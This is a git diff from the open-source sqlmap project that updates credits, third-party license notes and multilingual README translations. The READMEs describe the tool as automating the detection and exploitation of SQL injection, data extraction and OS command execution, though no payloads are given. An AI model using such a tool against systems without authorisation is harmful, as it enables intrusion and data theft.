* for reporting a few bugs in --sql-shell and --sql-query on Microsoft SQL Server
|
* for reporting a few bugs in --sql-shell and --sql-query on Microsoft SQL Server
|
||||||
|
|
||||||
@@ -623,6 +623,9 @@ Thierry Zoller, <thierry(at)zoller.lu>
|
|||||||
Zhen Zhou, <zhouzhenster(at)gmail.com>
|
Zhen Zhou, <zhouzhenster(at)gmail.com>
|
||||||
* for suggesting a feature
|
* for suggesting a feature
|
||||||
|
|
||||||
|
Zakaria Zoulati, <https://github.com/zakaria-zoulati>
|
||||||
|
* for contributing SAP HANA support
|
||||||
|
|
||||||
-insane-, <insane_(at)gmx.de>
|
-insane-, <insane_(at)gmx.de>
|
||||||
* for reporting a minor bug
|
* for reporting a minor bug
|
||||||
|
|
||||||
|
|||||||
+4
-12
@@ -15,9 +15,7 @@ This file lists bundled packages and their associated licensing terms.
|
|||||||
Copyright (C) 2013, Jonathan Hartley.
|
Copyright (C) 2013, Jonathan Hartley.
|
||||||
* The `Fcrypt` library located under `thirdparty/fcrypt/`.
|
* The `Fcrypt` library located under `thirdparty/fcrypt/`.
|
||||||
Copyright (C) 2000, 2001, 2004 Carey Evans.
|
Copyright (C) 2000, 2001, 2004 Carey Evans.
|
||||||
* The `PrettyPrint` library located under `thirdparty/prettyprint/`.
|
* The `PySocks` library located under `thirdparty/socks/`.
|
||||||
Copyright (C) 2010, Chris Hall.
|
|
||||||
* The `SocksiPy` library located under `thirdparty/socks/`.
|
|
||||||
Copyright (C) 2006, Dan-Haim.
|
Copyright (C) 2006, Dan-Haim.
|
||||||
|
|
||||||
````
|
````
|
||||||
@@ -48,10 +46,6 @@ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
|||||||
|
|
||||||
* The `Chardet` library located under `thirdparty/chardet/`.
|
* The `Chardet` library located under `thirdparty/chardet/`.
|
||||||
Copyright (C) 2008, Mark Pilgrim.
|
Copyright (C) 2008, Mark Pilgrim.
|
||||||
* The `KeepAlive` library located under `thirdparty/keepalive/`.
|
|
||||||
Copyright (C) 2002-2003, Michael D. Stenner.
|
|
||||||
* The `MultipartPost` library located under `thirdparty/multipart/`.
|
|
||||||
Copyright (C) 2006, Will Holcomb.
|
|
||||||
* The `icmpsh` tool located under `extra/icmpsh/`.
|
* The `icmpsh` tool located under `extra/icmpsh/`.
|
||||||
Copyright (C) 2010, Nico Leidecker, Bernardo Damele.
|
Copyright (C) 2010, Nico Leidecker, Bernardo Damele.
|
||||||
|
|
||||||
@@ -271,13 +265,11 @@ be bound by the terms and conditions of this License Agreement.
|
|||||||
# MIT
|
# MIT
|
||||||
|
|
||||||
* The `bottle` web framework library located under `thirdparty/bottle/`.
|
* The `bottle` web framework library located under `thirdparty/bottle/`.
|
||||||
Copyright (C) 2012, Marcel Hellkamp.
|
Copyright (C) 2024, Marcel Hellkamp.
|
||||||
* The `identYwaf` library located under `thirdparty/identywaf/`.
|
* The `identYwaf` library located under `thirdparty/identywaf/`.
|
||||||
Copyright (C) 2019-2020, Miroslav Stampar.
|
Copyright (C) 2019-2021, Miroslav Stampar.
|
||||||
* The `ordereddict` library located under `thirdparty/odict/`.
|
|
||||||
Copyright (C) 2009, Raymond Hettinger.
|
|
||||||
* The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`.
|
* The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`.
|
||||||
Copyright (C) 2010-2018, Benjamin Peterson.
|
Copyright (C) 2010-2024, Benjamin Peterson.
|
||||||
* The `Termcolor` library located under `thirdparty/termcolor/`.
|
* The `Termcolor` library located under `thirdparty/termcolor/`.
|
||||||
Copyright (C) 2008-2011, Volvox Development Team.
|
Copyright (C) 2008-2011, Volvox Development Team.
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,70 @@
|
|||||||
|
# sqlmap
|
||||||
|
|
||||||
|
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||||
|
|
||||||
|
<div dir=rtl>
|
||||||
|
|
||||||
|
برنامج sqlmap هو أداة اختبار اختراق مفتوحة المصدر تقوم بأتمتة عملية اكتشاف واستغلال ثغرات حقن SQL والسيطرة على خوادم قواعد البيانات. يأتي مع محرك كشف قوي، والعديد من الميزات المتخصصة لمختبر الاختراق المحترف، ومجموعة واسعة من الخيارات بما في ذلك تحديد بصمة قاعدة البيانات، واستخراج البيانات من قاعدة البيانات، والوصول إلى نظام الملفات الأساسي، وتنفيذ الأوامر على نظام التشغيل عبر اتصالات خارج النطاق.
|
||||||
|
|
||||||
|
لقطات الشاشة
|
||||||
|
----
|
||||||
|
|
||||||
|
<div dir=ltr>
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
<div dir=rtl>
|
||||||
|
|
||||||
|
يمكنك زيارة [مجموعة لقطات الشاشة](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) التي توضح بعض الميزات في الويكي.
|
||||||
|
|
||||||
|
التثبيت
|
||||||
|
----
|
||||||
|
|
||||||
|
يمكنك تحميل أحدث إصدار tarball بالنقر [هنا](https://github.com/sqlmapproject/sqlmap/tarball/master) أو أحدث إصدار zipball بالنقر [هنا](https://github.com/sqlmapproject/sqlmap/zipball/master).
|
||||||
|
|
||||||
|
يفضل تحميل sqlmap عن طريق استنساخ مستودع [Git](https://github.com/sqlmapproject/sqlmap):
|
||||||
|
|
||||||
|
<div dir=ltr>
|
||||||
|
|
||||||
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
|
<div dir=rtl>
|
||||||
|
|
||||||
|
يعمل sqlmap مباشرة مع [Python](https://www.python.org/download/) إصدار **2.6** و **2.7** و **3.x** على أي نظام تشغيل.
|
||||||
|
|
||||||
|
الاستخدام
|
||||||
|
----
|
||||||
|
|
||||||
|
للحصول على قائمة بالخيارات والمفاتيح الأساسية استخدم:
|
||||||
|
|
||||||
|
<div dir=ltr>
|
||||||
|
|
||||||
|
python sqlmap.py -h
|
||||||
|
|
||||||
|
<div dir=rtl>
|
||||||
|
|
||||||
|
للحصول على قائمة بجميع الخيارات والمفاتيح استخدم:
|
||||||
|
|
||||||
|
<div dir=ltr>
|
||||||
|
|
||||||
|
python sqlmap.py -hh
|
||||||
|
|
||||||
|
<div dir=rtl>
|
||||||
|
|
||||||
|
يمكنك العثور على مثال للتشغيل [هنا](https://asciinema.org/a/46601).
|
||||||
|
للحصول على نظرة عامة على إمكانيات sqlmap، وقائمة الميزات المدعومة، ووصف لجميع الخيارات والمفاتيح، مع الأمثلة، ننصحك بمراجعة [دليل المستخدم](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
|
||||||
|
|
||||||
|
الروابط
|
||||||
|
----
|
||||||
|
|
||||||
|
* الصفحة الرئيسية: https://sqlmap.org
|
||||||
|
* التحميل: [‪.tar.gz‬](https://github.com/sqlmapproject/sqlmap/tarball/master) أو [‪.zip‬](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||||
|
* تغذية التحديثات RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||||
|
* تتبع المشكلات: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
|
* دليل المستخدم: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
|
* الأسئلة الشائعة: https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
|
* تويتر: [@sqlmap](https://x.com/sqlmap)
|
||||||
|
* العروض التوضيحية: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* ساحة التدريب: https://sekumart.sekuripy.hr
|
||||||
|
* الأبحاث: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||||
|
* لقطات الشاشة: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
@@ -1,6 +1,6 @@
|
|||||||
# sqlmap 
|
# sqlmap
|
||||||
|
|
||||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||||
|
|
||||||
sqlmap e инструмент за тестване и проникване, с отворен код, който автоматизира процеса на откриване и използване на недостатъците на SQL база данните чрез SQL инжекция, която ги взима от сървъра. Снабден е с мощен детектор, множество специални функции за най-добрия тестер и широк спектър от функции, които могат да се използват за множество цели - извличане на данни от базата данни, достъп до основната файлова система и изпълняване на команди на операционната система.
|
sqlmap e инструмент за тестване и проникване, с отворен код, който автоматизира процеса на откриване и използване на недостатъците на SQL база данните чрез SQL инжекция, която ги взима от сървъра. Снабден е с мощен детектор, множество специални функции за най-добрия тестер и широк спектър от функции, които могат да се използват за множество цели - извличане на данни от базата данни, достъп до основната файлова система и изпълняване на команди на операционната система.
|
||||||
|
|
||||||
@@ -20,7 +20,7 @@ sqlmap e инструмент за тестване и проникване, с
|
|||||||
|
|
||||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
sqlmap работи самостоятелно с [Python](https://www.python.org/download/) версия **2.6**, **2.7** и **3.x** на всички платформи.
|
sqlmap работи самостоятелно с [Python](https://www.python.org/download/) версия **2.7** и **3.x** на всички платформи.
|
||||||
|
|
||||||
Използване
|
Използване
|
||||||
----
|
----
|
||||||
@@ -47,4 +47,6 @@ sqlmap работи самостоятелно с [Python](https://www.python.or
|
|||||||
* Често задавани въпроси (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Често задавани въпроси (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* X: [@sqlmap](https://x.com/sqlmap)
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
* Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
* Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* Площадка за упражнения: https://sekumart.sekuripy.hr
|
||||||
|
* Изследвания: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||||
* Снимки на екрана: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Снимки на екрана: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -0,0 +1,64 @@
|
|||||||
|
# sqlmap
|
||||||
|
|
||||||
|
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||||
|
|
||||||
|
**SQLMap** একটি ওপেন সোর্স পেনিট্রেশন টেস্টিং টুল যা স্বয়ংক্রিয়ভাবে SQL ইনজেকশন দুর্বলতা সনাক্ত ও শোষণ করতে এবং ডাটাবেস সার্ভার নিয়ন্ত্রণে নিতে সহায়তা করে। এটি একটি শক্তিশালী ডিটেকশন ইঞ্জিন, উন্নত ফিচার এবং পেনিট্রেশন টেস্টারদের জন্য দরকারি বিভিন্ন অপশন নিয়ে আসে। এর মাধ্যমে ডাটাবেস ফিঙ্গারপ্রিন্টিং, ডাটাবেস থেকে তথ্য আহরণ, ফাইল সিস্টেম অ্যাক্সেস, এবং অপারেটিং সিস্টেমে কমান্ড চালানোর মতো কাজ করা যায়, এমনকি আউট-অফ-ব্যান্ড সংযোগ ব্যবহার করেও।
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
স্ক্রিনশট
|
||||||
|
---
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
আপনি [Wiki-তে](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) গিয়ে SQLMap-এর বিভিন্ন ফিচারের ডেমোনস্ট্রেশন দেখতে পারেন।
|
||||||
|
|
||||||
|
ইনস্টলেশন
|
||||||
|
---
|
||||||
|
সর্বশেষ টারবলে ডাউনলোড করুন [এখানে](https://github.com/sqlmapproject/sqlmap/tarball/master) অথবা সর্বশেষ জিপ ফাইল [এখানে](https://github.com/sqlmapproject/sqlmap/zipball/master)।
|
||||||
|
|
||||||
|
অথবা, সরাসরি [Git](https://github.com/sqlmapproject/sqlmap) রিপোজিটরি থেকে ক্লোন করুন:
|
||||||
|
|
||||||
|
```
|
||||||
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
```
|
||||||
|
|
||||||
|
SQLMap স্বয়ংক্রিয়ভাবে [Python](https://www.python.org/download/) **2.7** এবং **3.x** সংস্করণে যেকোনো প্ল্যাটফর্মে কাজ করে।
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
ব্যবহারের নির্দেশিকা
|
||||||
|
---
|
||||||
|
|
||||||
|
বেসিক অপশন এবং সুইচসমূহ দেখতে ব্যবহার করুন:
|
||||||
|
|
||||||
|
```
|
||||||
|
python sqlmap.py -h
|
||||||
|
```
|
||||||
|
|
||||||
|
সমস্ত অপশন ও সুইচের তালিকা পেতে ব্যবহার করুন:
|
||||||
|
|
||||||
|
```
|
||||||
|
python sqlmap.py -hh
|
||||||
|
```
|
||||||
|
|
||||||
|
আপনি একটি নমুনা রান দেখতে পারেন [এখানে](https://asciinema.org/a/46601)।
|
||||||
|
SQLMap-এর সম্পূর্ণ ফিচার, ক্ষমতা, এবং কনফিগারেশন সম্পর্কে বিস্তারিত জানতে [ব্যবহারকারীর ম্যানুয়াল](https://github.com/sqlmapproject/sqlmap/wiki/Usage) পড়ার পরামর্শ দেওয়া হচ্ছে।
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
লিঙ্কসমূহ
|
||||||
|
---
|
||||||
|
|
||||||
|
* হোমপেজ: https://sqlmap.org
|
||||||
|
* ডাউনলোড: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) অথবা [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||||
|
* কমিটস RSS ফিড: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||||
|
* ইস্যু ট্র্যাকার: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
|
* ব্যবহারকারীর ম্যানুয়াল: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
|
* সচরাচর জিজ্ঞাসিত প্রশ্ন (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
|
* ডেমো ভিডিও: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* অনুশীলন সাইট: https://sekumart.sekuripy.hr
|
||||||
|
* গবেষণা: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||||
|
* স্ক্রিনশট: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|
||||||
@@ -1,6 +1,6 @@
|
|||||||
# sqlmap 
|
# sqlmap
|
||||||
|
|
||||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||||
|
|
||||||
|
|
||||||
<div dir=rtl>
|
<div dir=rtl>
|
||||||
@@ -62,6 +62,8 @@ sqlmap لە دەرەوەی سندوق کاردەکات لەگەڵ [Python](https
|
|||||||
* پرسیارە زۆرەکان (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* پرسیارە زۆرەکان (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* X: [@sqlmap](https://x.com/sqlmap)
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
* دیمۆ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
* دیمۆ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* گۆڕەپانی تاقیکردنەوە: https://sekumart.sekuripy.hr
|
||||||
|
* توێژینەوە: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||||
* وێنەی شاشە: https://github.com/sqlmapproject/sqlmap/wiki/وێنەی شاشە
|
* وێنەی شاشە: https://github.com/sqlmapproject/sqlmap/wiki/وێنەی شاشە
|
||||||
|
|
||||||
وەرگێڕانەکان
|
وەرگێڕانەکان
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
# sqlmap 
|
# sqlmap
|
||||||
|
|
||||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||||
|
|
||||||
sqlmap ist ein quelloffenes Penetrationstest Werkzeug, das die Entdeckung, Ausnutzung und Übernahme von SQL injection Schwachstellen automatisiert. Es kommt mit einer mächtigen Erkennungs-Engine, vielen Nischenfunktionen für den ultimativen Penetrationstester und einem breiten Spektrum an Funktionen von Datenbankerkennung, abrufen von Daten aus der Datenbank, zugreifen auf das unterliegende Dateisystem bis hin zur Befehlsausführung auf dem Betriebssystem mit Hilfe von out-of-band Verbindungen.
|
sqlmap ist ein quelloffenes Penetrationstest Werkzeug, das die Entdeckung, Ausnutzung und Übernahme von SQL injection Schwachstellen automatisiert. Es kommt mit einer mächtigen Erkennungs-Engine, vielen Nischenfunktionen für den ultimativen Penetrationstester und einem breiten Spektrum an Funktionen von Datenbankerkennung, abrufen von Daten aus der Datenbank, zugreifen auf das unterliegende Dateisystem bis hin zur Befehlsausführung auf dem Betriebssystem mit Hilfe von out-of-band Verbindungen.
|
||||||
|
|
||||||
@@ -46,4 +46,6 @@ Links
|
|||||||
* Häufig gestellte Fragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Häufig gestellte Fragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* X: [@sqlmap](https://x.com/sqlmap)
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
* Demonstrationen: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
* Demonstrationen: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* Spielwiese: https://sekumart.sekuripy.hr
|
||||||
|
* Forschung: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||||
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
# sqlmap 
|
# sqlmap
|
||||||
|
|
||||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||||
|
|
||||||
sqlmap es una herramienta para pruebas de penetración "penetration testing" de software libre que automatiza el proceso de detección y explotación de fallos mediante inyección de SQL además de tomar el control de servidores de bases de datos. Contiene un poderoso motor de detección, así como muchas de las funcionalidades escenciales para el "pentester" y una amplia gama de opciones desde la recopilación de información para identificar el objetivo conocido como "fingerprinting" mediante la extracción de información de la base de datos, hasta el acceso al sistema de archivos subyacente para ejecutar comandos en el sistema operativo a través de conexiones alternativas conocidas como "Out-of-band".
|
sqlmap es una herramienta para pruebas de penetración "penetration testing" de software libre que automatiza el proceso de detección y explotación de fallos mediante inyección de SQL además de tomar el control de servidores de bases de datos. Contiene un poderoso motor de detección, así como muchas de las funcionalidades escenciales para el "pentester" y una amplia gama de opciones desde la recopilación de información para identificar el objetivo conocido como "fingerprinting" mediante la extracción de información de la base de datos, hasta el acceso al sistema de archivos subyacente para ejecutar comandos en el sistema operativo a través de conexiones alternativas conocidas como "Out-of-band".
|
||||||
|
|
||||||
@@ -19,7 +19,7 @@ Preferentemente, se puede descargar sqlmap clonando el repositorio [Git](https:/
|
|||||||
|
|
||||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
sqlmap funciona con las siguientes versiones de [Python](https://www.python.org/download/) **2.6**, **2.7** y **3.x** en cualquier plataforma.
|
sqlmap funciona con las siguientes versiones de [Python](https://www.python.org/download/) **2.7** y **3.x** en cualquier plataforma.
|
||||||
|
|
||||||
Uso
|
Uso
|
||||||
---
|
---
|
||||||
@@ -46,4 +46,6 @@ Enlaces
|
|||||||
* Preguntas frecuentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Preguntas frecuentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* X: [@sqlmap](https://x.com/sqlmap)
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
* Demostraciones: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
* Demostraciones: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* Campo de pruebas: https://sekumart.sekuripy.hr
|
||||||
|
* Investigación: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||||
* Imágenes: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Imágenes: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
# sqlmap 
|
# sqlmap
|
||||||
|
|
||||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||||
|
|
||||||
|
|
||||||
<div dir=rtl>
|
<div dir=rtl>
|
||||||
@@ -81,4 +81,6 @@
|
|||||||
* سوالات متداول: https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* سوالات متداول: https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* توییتر: [@sqlmap](https://x.com/sqlmap)
|
* توییتر: [@sqlmap](https://x.com/sqlmap)
|
||||||
* رسانه: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
* رسانه: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* زمین تمرین: https://sekumart.sekuripy.hr
|
||||||
|
* پژوهش: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||||
* تصاویر: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* تصاویر: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
# sqlmap 
|
# sqlmap
|
||||||
|
|
||||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||||
|
|
||||||
**sqlmap** est un outil Open Source de test d'intrusion. Cet outil permet d'automatiser le processus de détection et d'exploitation des failles d'injection SQL afin de prendre le contrôle des serveurs de base de données. __sqlmap__ dispose d'un puissant moteur de détection utilisant les techniques les plus récentes et les plus dévastatrices de tests d'intrusion comme L'Injection SQL, qui permet d'accéder à la base de données, au système de fichiers sous-jacent et permet aussi l'exécution des commandes sur le système d'exploitation.
|
**sqlmap** est un outil Open Source de test d'intrusion. Cet outil permet d'automatiser le processus de détection et d'exploitation des failles d'injection SQL afin de prendre le contrôle des serveurs de base de données. __sqlmap__ dispose d'un puissant moteur de détection utilisant les techniques les plus récentes et les plus dévastatrices de tests d'intrusion comme L'Injection SQL, qui permet d'accéder à la base de données, au système de fichiers sous-jacent et permet aussi l'exécution des commandes sur le système d'exploitation.
|
||||||
|
|
||||||
@@ -19,7 +19,7 @@ De préférence, télécharger __sqlmap__ en le [clonant](https://github.com/sql
|
|||||||
|
|
||||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
sqlmap fonctionne sur n'importe quel système d'exploitation avec la version **2.6**, **2.7** et **3.x** de [Python](https://www.python.org/download/)
|
sqlmap fonctionne sur n'importe quel système d'exploitation avec la version **2.7** et **3.x** de [Python](https://www.python.org/download/)
|
||||||
|
|
||||||
Utilisation
|
Utilisation
|
||||||
----
|
----
|
||||||
@@ -46,4 +46,6 @@ Liens
|
|||||||
* Foire aux questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Foire aux questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* X: [@sqlmap](https://x.com/sqlmap)
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
* Démonstrations: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
* Démonstrations: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* Terrain de jeu: https://sekumart.sekuripy.hr
|
||||||
|
* Recherche: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||||
* Les captures d'écran: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Les captures d'écran: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
# sqlmap 
|
# sqlmap
|
||||||
|
|
||||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||||
|
|
||||||
Το sqlmap είναι πρόγραμμα ανοιχτού κώδικα, που αυτοματοποιεί την εύρεση και εκμετάλλευση ευπαθειών τύπου SQL Injection σε βάσεις δεδομένων. Έρχεται με μια δυνατή μηχανή αναγνώρισης ευπαθειών, πολλά εξειδικευμένα χαρακτηριστικά για τον απόλυτο penetration tester όπως και με ένα μεγάλο εύρος επιλογών αρχίζοντας από την αναγνώριση της βάσης δεδομένων, κατέβασμα δεδομένων της βάσης, μέχρι και πρόσβαση στο βαθύτερο σύστημα αρχείων και εκτέλεση εντολών στο απευθείας στο λειτουργικό μέσω εκτός ζώνης συνδέσεων.
|
Το sqlmap είναι πρόγραμμα ανοιχτού κώδικα, που αυτοματοποιεί την εύρεση και εκμετάλλευση ευπαθειών τύπου SQL Injection σε βάσεις δεδομένων. Έρχεται με μια δυνατή μηχανή αναγνώρισης ευπαθειών, πολλά εξειδικευμένα χαρακτηριστικά για τον απόλυτο penetration tester όπως και με ένα μεγάλο εύρος επιλογών αρχίζοντας από την αναγνώριση της βάσης δεδομένων, κατέβασμα δεδομένων της βάσης, μέχρι και πρόσβαση στο βαθύτερο σύστημα αρχείων και εκτέλεση εντολών στο απευθείας στο λειτουργικό μέσω εκτός ζώνης συνδέσεων.
|
||||||
|
|
||||||
@@ -20,7 +20,7 @@
|
|||||||
|
|
||||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
Το sqlmap λειτουργεί χωρίς περαιτέρω κόπο με την [Python](https://www.python.org/download/) έκδοσης **2.6**, **2.7** και **3.x** σε όποια πλατφόρμα.
|
Το sqlmap λειτουργεί χωρίς περαιτέρω κόπο με την [Python](https://www.python.org/download/) έκδοσης **2.7** και **3.x** σε όποια πλατφόρμα.
|
||||||
|
|
||||||
Χρήση
|
Χρήση
|
||||||
----
|
----
|
||||||
@@ -47,4 +47,6 @@
|
|||||||
* Συχνές Ερωτήσεις (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Συχνές Ερωτήσεις (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* X: [@sqlmap](https://x.com/sqlmap)
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
